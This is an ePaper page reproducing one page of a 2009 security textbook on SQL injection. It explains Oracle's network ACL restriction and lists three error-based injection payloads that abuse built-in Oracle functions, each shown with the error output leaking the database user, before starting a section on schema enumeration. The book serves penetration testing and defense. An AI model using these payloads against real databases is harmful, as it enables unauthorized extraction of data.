28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

170 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

By default, Oracle 11g restricts access to utl_inaddr <strong>and</strong> all other network packages with<br />

a newly introduced access control list (ACL) system. In this case, we will get an ORA-24247:<br />

network access denied by access control list (ACL) error message without data in it.<br />

In this case, or if the database was hardened <strong>and</strong> the PUBLIC grant was revoked from<br />

utl_inaddr, we must use other functions. The following Oracle functions (granted to<br />

PUBLIC) return error-controllable messages.<br />

Injecting the following:<br />

Or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user,'a','b')--<br />

returns the following:<br />

ORA-53044: invalid tag: VICTIMUSER<br />

Injecting the following:<br />

or 1=SYS.DBMS_AW_XML.READAWMETADATA(user,'a')--<br />

returns the following:<br />

ORA-29532: Java call terminated by uncaught Java exception: oracle.AWXML.<br />

AWException: oracle.AWXML.AWException: An error has occurred on the server<br />

Error class: Express Failure<br />

Server error descriptions:<br />

ENG: ORA-34344: Analytic workspace VICTIMUSER is not attached.<br />

Injecting the following:<br />

Or 1= CTXSYS.CTX_QUERY.CHK_XPATH(user,'a','b')--<br />

returns the following:<br />

ORA-20000: Oracle Text error:<br />

DRG-11701: thesaurus VICTIMUSER does not exist<br />

ORA-06512: at "CTXSYS.DRUE", line 160<br />

ORA-06512: at "CTXSYS.DRITHSX", line 538<br />

ORA-06512: at line 1<br />

Enumerating the Database Schema<br />

You have seen a number of different techniques for extracting data from the remote database.<br />

To illustrate these techniques, we have retrieved only small pieces of information, so now it’s<br />

time to extend our scope <strong>and</strong> see how to use these techniques to obtain larger amounts of<br />

data. After all, databases can be huge beasts, containing several terabytes of data. To mount a<br />

successful attack, <strong>and</strong> to properly assess the risk that is posed by an <strong>SQL</strong> injection vulnerability,<br />

performing a fingerprint <strong>and</strong> squeezing a few bits of information is not enough: You must<br />

show that a skilled <strong>and</strong> resourceful attacker is able to enumerate the tables that are present in<br />

the database <strong>and</strong> quickly extract the ones that he is interested in. In this section, a few examples

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!